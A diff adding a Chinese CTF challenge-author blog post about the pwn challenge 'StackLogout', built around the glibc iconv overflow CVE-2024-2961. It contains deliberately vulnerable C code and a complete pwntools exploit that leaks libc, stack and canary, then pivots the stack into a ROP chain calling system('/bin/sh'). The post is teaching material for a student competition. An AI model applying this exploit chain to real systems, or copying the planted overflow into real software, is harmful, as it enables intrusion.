|
| 1 | +--- |
| 2 | +title: 赛博杯新生赛 2024 - StackLogout 出题博客 |
| 3 | +date: 2024/12/22 10:47:00 |
| 4 | +updated: 2024/12/22 18:17:00 |
| 5 | +tags: |
| 6 | + - cve |
| 7 | + - stack pivot |
| 8 | + - buffer overflow |
| 9 | + - tricks |
| 10 | + - remote debugging |
| 11 | + - challenge author |
| 12 | +sticky: 97 |
| 13 | +--- |
| 14 | + |
| 15 | +去年4月份左右 *pankas* 转发了一篇推文,讲PHP通杀的,我一看原文,竟然是glibc组件的bug, |
| 16 | +并且有cve编号。博客很详细,还更了整整3篇,不用调试就能看懂。 |
| 17 | + |
| 18 | +{% note purple fa-circle-arrow-right %} |
| 19 | +查看经典博客:https://www.ambionics.io/blog/iconv-cve-2024-2961-p1 |
| 20 | +{% endnote %} |
| 21 | + |
| 22 | +自从看到CVE-2024-2691的缓冲区溢出,我就一直想着考上一题,这次趁着新生赛,它来了! |
| 23 | + |
| 24 | +## 出题思路 |
| 25 | + |
| 26 | +### 构思 |
| 27 | + |
| 28 | +我不打算考太难,于是就打算整一个栈迁移,相对堆来说还是好做的多的,但是又不能太简单, |
| 29 | +于是我打算要先泄露信息,才能打栈迁移。我和 *dbgbgtf* 商量了一下,我俩都出栈迁移, |
| 30 | +他的简单一点,就叫login,我呢刚好和他相反,叫logout。 |
| 31 | + |
| 32 | +我们的漏洞点是差不多的,我们俩都考缓冲区溢出,他的是Off by Null,我的是用cve溢出。 |
| 33 | + |
| 34 | +### 变换莫测的栈布局 |
| 35 | + |
| 36 | +我第一个写的就是有漏洞的函数,但是不同版本的gcc,不同的变量位置, |
| 37 | +会导致相应的栈布局发生变化。正好创新实践的作业可选120行的汇编,于是我先写了一个c |
| 38 | +源码作参考,然后开始写汇编: |
| 39 | + |
| 40 | +```c who.c |
| 41 | +#include <alloca.h> |
| 42 | +#include <iconv.h> |
| 43 | +#include <emmintrin.h> |
| 44 | +#include <stdio.h> |
| 45 | +#include <string.h> |
| 46 | +#include <unistd.h> |
| 47 | +#include <immintrin.h> |
| 48 | +#include <xmmintrin.h> |
| 49 | + |
| 50 | +void who(char *buf, unsigned long size) { |
| 51 | + __m128i zero = _mm_setzero_si128(); |
| 52 | + char *tmp = alloca(size); |
| 53 | + char *local = alloca(size); |
| 54 | + unsigned toread = size, readin; |
| 55 | + readin = read(0, local, toread); |
| 56 | + for (int i = 0; i < size; i += 16) |
| 57 | + _mm_store_si128((__m128i *)(local + i), zero); |
| 58 | + __m128i mask = _mm_set1_epi8(0x80); |
| 59 | + for (int i = 0; i < size; i += 16) { |
| 60 | + __m128i data = _mm_load_si128((const __m128i *)(local + i)); |
| 61 | + __m128i result = _mm_and_si128(mask, data); |
| 62 | + if (_mm_movemask_epi8(result)) { |
| 63 | + goto convert; |
| 64 | + } |
| 65 | + } |
| 66 | +testname: |
| 67 | + printf("Do you confirm? [y/n] "); |
| 68 | + char c = getchar(); |
| 69 | + getchar(); // discard \n |
| 70 | + if (c == 'n') |
| 71 | + readin = read(0, local, toread & 0x1f8); |
| 72 | + else if (c != 'y') |
| 73 | + goto testname; |
| 74 | + // c == 'y' |
| 75 | + memcpy(buf, local, readin); |
| 76 | + return; |
| 77 | +convert: |
| 78 | + memcpy(tmp, local, size); |
| 79 | + puts("The input contains non-ascii chars!"); |
| 80 | + puts("It is needed to be converted to ISO-2022-CN-EXT."); |
| 81 | + iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8"); |
| 82 | + char *pbuf = local, *ptmp = tmp; |
| 83 | + size_t inval = readin, outval = readin; |
| 84 | + iconv(cd, &ptmp, &inval, &pbuf, &outval); |
| 85 | + iconv_close(cd); |
| 86 | +} |
| 87 | +``` |
| 88 | +
|
| 89 | +为了熟悉熟悉多字节操作,我还在里面加了点SSE2指令,总之就是memset和memcpy的意思。 |
| 90 | +汇编代码有将近200行,在这里就不贴了,可以加入协会或等到仓库公开后, |
| 91 | +在[我们的仓库](https://github.com/0RAYS/2024-CBCTF/blob/main/Pwn/StackLogout/src/who.s)中找到。 |
| 92 | +
|
| 93 | +{% folding green::GCC汇编优化命令 %} |
| 94 | +在gcc生成的汇编代码中,有许多以.开头的命令,在我的代码中就有许多。 |
| 95 | +
|
| 96 | +- `.section .rodata.str1.8,"aMS",@progbits,1`: 生成一个段专门放对齐为8的字符串,最后会合并到 |
| 97 | + `.rodata` |
| 98 | +- `.p2align 4`: 等价于`.align 2 ** 4`即`.align 16` |
| 99 | +- `.equ canary, 8`: 声明一个常量 |
| 100 | +- `.p2align 4,,10`: 当对齐到16字节边界的代价不超过10字节,则对齐 |
| 101 | +
|
| 102 | +大部分命令是对齐,可以给现代cpu提供一些加速。例如在[这系列博客](https://agner.org/optimize/)中, |
| 103 | +提到了cpu会一次性加载16字节倍数的字节码,因此将字节码对齐到边界后, |
| 104 | +jump过来后需要加载的字节码减少了,适合放在热点代码处。 |
| 105 | +{% endfolding %} |
| 106 | +
|
| 107 | +最后写完以后栈布局就是这样: |
| 108 | +
|
| 109 | +<img src="/assets/cbctf2024/stackLayout.png" height="50%" width="50%"> |
| 110 | +
|
| 111 | +在泄露完信息后,通过cve在第一次输入时多写一个字节到`toread`,造成足够长的长度做栈迁移, |
| 112 | +然后第二次输入写掉前一个函数的rbp,等待上个函数返回执行栈迁移。 |
| 113 | +
|
| 114 | +{% notel green fa-candy-cane 隐藏在ELF中的彩蛋 %} |
| 115 | +在ELF的注释段有我在汇编中插入的彩蛋哦 |
| 116 | +
|
| 117 | +<img src="/assets/cbctf2024/easteregg.png" height="70%" width="70%"> |
| 118 | +{% endnotel %} |
| 119 | +
|
| 120 | +### 完善题目背景 |
| 121 | +
|
| 122 | +既然这道题叫 **StackLogout** ,那么和stack_login对应的,我该整点退出操作, |
| 123 | +同时在这些函数里要给选手保留泄露信息的机会。于是我顺理成章地想到了类shell操作, |
| 124 | +手搓了一个"Pwn Shell"。并且在`logout`时由于缓冲区没有初始化,留下了信息, |
| 125 | +包含了libc、栈和canary。根据`who`函数的逻辑,在函数执行完毕返回时,会将输入的内容复制回 |
| 126 | +`logout`的`buf`中,不带`'\0'`,而打印缓冲区时使用`%s`,于是造成信息泄露。 |
| 127 | +
|
| 128 | + |
| 129 | +
|
| 130 | +### 消失的`leave` |
| 131 | +
|
| 132 | +当我把`main`写好,编译一看,`logout`的`leave`被优化没了。原来的计划是`who`通过溢出改 |
| 133 | +rbp,`logout`再做`leave;ret`实现rop。 |
| 134 | +
|
| 135 | +尽管我尝试开启`-fno-omit-frame-pointer`,程序确实使用了rbp,不再将其作为临时寄存器, |
| 136 | +但是离开函数时仍然没有使用`leave`,而是rsp直接加了一个常数。 |
| 137 | +只有不开优化才能出现`leave`,没办法了,给它编译时整个特例。并且, |
| 138 | +由于之前设计的缓冲区大小是0x130,后期为了做起来简单调小了(不方便溢出多个字节), |
| 139 | +因此也没什么地方能写canary,顺便把`logout`的canary关了。 |
| 140 | +
|
| 141 | +### patchelf失败 |
| 142 | +
|
| 143 | +题出完了,我想在本地patchelf以后试试,结果不行。我把ubuntu的libc拉下来,但是`iconv_open` |
| 144 | +返回-1。我调了老半天,发现为了编码"ISO-2022-CN-EXT",需要加载其他库,而加载路径是写死的, |
| 145 | +由于Arch Linux的默认库路径与ubuntu并不相同,因此无法打开扩展库,也因此无法进行字节转换。 |
| 146 | +
|
| 147 | +一开始我想放在Roderick的容器上调,但是一旦`apt upgrade`,libc库也会一同更新, |
| 148 | +而这些扩展库同属于libc包。而且让新生用这个办法也未免太麻烦了一点。于是我在pwntools |
| 149 | +里找其他的解决方案。我试着把程序放到容器中,然后ssh上去调试,结果打开的gdb是容器里的, |
| 150 | +没法使用本地的。再次研究gdbserver,假设它的`stdout`连接到`pts/2`,然后在`pts/3`中用gdb |
| 151 | +连上去,它的输出仍然出现在`pts/2`中!换言之,输入和输出和是不能通过gdb控制的。 |
| 152 | +
|
| 153 | +于是我就想到了一个更优雅的办法:起一个容器,用xinetd分发`gdbserver :1337 /home/ctf/pwn`, |
| 154 | +这样然后用`pwn.remote`连到xinetd获取程序的输入输出,再用gdb连到1337端口,打开调试, |
| 155 | +如此实现了基于远程环境的调试,我也能直接把容器交给选手,方便选手的调试。 |
| 156 | +
|
| 157 | +### 我的canary在哪里 |
| 158 | +
|
| 159 | +题目出好了,我拿给 *dbgbgtf* 调试,结果他调试没有canary。这是怎么回事?我在本地尝试, |
| 160 | +发现`logout`中缓冲区上留下的canary是由`pwnShell`中运行的`strstr`留下的。在我的机子上, |
| 161 | +`strstr@PLT`实际运行了`__strstr_generic`,但是 *dbgbgtf* 机子上却运行着`__strstr_sse2_unaligned`, |
| 162 | +而在这个函数中没有设置canary。我直接调试研究这样运行的原因,结果是与cpu特性有关。 |
| 163 | +我的cpu(R7 6800HS)没有`Fast_Unaligned_Load`,因此使用了`__strstr_generic`。 |
| 164 | +
|
| 165 | +得,我直接让所有`strstr`强制运行`__strstr_generic`得了。 |
| 166 | +
|
| 167 | +{% note blue fa-link %} |
| 168 | +我强制让`strstr`运行`__strstr_generic`的方法是定义了如下全局变量: |
| 169 | +`static char *(* __strstr_generic)(const char *, const char *) = (void *)((size_t)puts + 0x2dc30);` |
| 170 | +我原先以为它会在运行时计算,结果在ld加载阶段就算好了,直接放到ro区域了,和别的GOT项一个待遇。 |
| 171 | +所以由于不同的libc库偏移不同,直接patchelf后运行大概率会挂掉,只能放在容器里调试。 |
| 172 | +{% endnote %} |
| 173 | +
|
| 174 | +## 题解 |
| 175 | +
|
| 176 | +不需要在`pwnShell`中做其他事,直接`logout`。然后在`who`中输入`\xe0`并确认,以此在`logout`中泄露 |
| 177 | +libc。类似的,参照上面的图,泄露出stack和canary。然后借助cve把`toread`写成`0x48`,在`who` |
| 178 | +中再次输入,覆盖正确的canary并设置rbp。然后在`logout`中确认,成功栈迁移并运行rop链。 |
| 179 | +
|
| 180 | + |
| 181 | +
|
| 182 | +需要注意的是,覆写rbp时不能留`who`函数的栈帧地址,因为`who`返回到`logout`后还要做`strchr`, |
| 183 | +在这个过程中,复制的东西会被覆写掉。还记得`who`退出前把缓冲区中的内容复制回`logout`了吗? |
| 184 | +借助这个功能,选择将栈迁移到`logout`的缓冲区即可成功执行rop链。 |
| 185 | +
|
| 186 | + |
| 187 | +
|
| 188 | +## EXPLOIT |
| 189 | +
|
| 190 | +```python |
| 191 | +from pwn import * |
| 192 | +context.terminal = ['tmux','splitw','-h'] |
| 193 | +context.arch = 'amd64' |
| 194 | +GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' |
| 195 | +EXE = './docker/StackLogout' |
| 196 | +
|
| 197 | +def payload(lo: int): |
| 198 | + global sh |
| 199 | + global gadgets |
| 200 | + if lo: |
| 201 | + if lo & 2: |
| 202 | + sh = remote('127.0.0.1', 3073) |
| 203 | + gdb.attach(('127.0.0.1', 4097), 'b *who+387', EXE) |
| 204 | + else: |
| 205 | + sh = remote('127.0.0.1', 2049) |
| 206 | + else: |
| 207 | + sh = remote('training.0rays.club', 10016) |
| 208 | + libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.39-0ubuntu8_amd64/libc.so.6') |
| 209 | +
|
| 210 | + def logout(buf: bytes, confirm: bool, go_on: bool, buf2: bytes=b'') -> bytes: |
| 211 | + sh.sendafter(b'user', buf) |
| 212 | + if confirm: |
| 213 | + sh.sendlineafter(b'confirm', b'y') |
| 214 | + else: |
| 215 | + sh.sendlineafter(b'confirm', b'n') |
| 216 | + if lo & 2: |
| 217 | + pause() |
| 218 | + sh.send(buf2) |
| 219 | +
|
| 220 | + sh.recvuntil(b'you? ') # strip ' [y/n]' |
| 221 | + return sh.sendlineafter(b' [y/n]', b'n' if go_on else b'y')[:-6] |
| 222 | +
|
| 223 | + sh.sendlineafter(b'psh', b'logout') |
| 224 | + reply = logout(b'\xe0', True, True) |
| 225 | + libcBase = u64(reply + b'\0\0') - libc.symbols['_IO_2_1_stdin_'] |
| 226 | + libc.address = libcBase |
| 227 | + success(GOLD_TEXT(f"Leak libcBase: {libcBase:#x}")) |
| 228 | +
|
| 229 | + reply = logout(b'STACK'.rjust(8), True, True) |
| 230 | + # stack under logout is unstable! |
| 231 | + stack = u64(reply[reply.index(b'STACK') + 5:] + b'\0\0') - 0x60 |
| 232 | + success(GOLD_TEXT(f"Leak stack: {stack:#x}")) |
| 233 | +
|
| 234 | + reply = logout(b'CANARY'.rjust(0x19), True, True) |
| 235 | + canary = u64(b'\0' + reply[reply.index(b'CANARY') + 6:][:7]) |
| 236 | + success(GOLD_TEXT(f"Leak canary: {canary:#x}")) |
| 237 | +
|
| 238 | + gadgets = ROP(libc) |
| 239 | + logout(b'Trigger CVE-2024-2961!!'.ljust(0x2d) + '劄'.encode(), False, False, |
| 240 | + # system("bin/sh") |
| 241 | + flat(gadgets.rdi.address, next(libc.search(b'/bin/sh')), libc.symbols['system'], |
| 242 | + # _exit(0) |
| 243 | + gadgets.rdi.address, 0, libc.symbols['_exit'], |
| 244 | + 0x48, canary, stack - 8)) |
| 245 | +
|
| 246 | + sh.clean() |
| 247 | + sh.interactive() |
| 248 | + sh.close() |
| 249 | +``` |
| 250 | + |
| 251 | +## 参考 |
| 252 | + |
| 253 | +1. [Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine (part 1)](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) |
| 254 | +2. [2024-CBCTF/Pwn/StackLogout/src/who.s at main](https://github.com/0RAYS/2024-CBCTF/blob/main/Pwn/StackLogout/src/who.s) |
| 255 | +3. [Software optimization resources. C++ and assembly](https://agner.org/optimize/) |
0 commit comments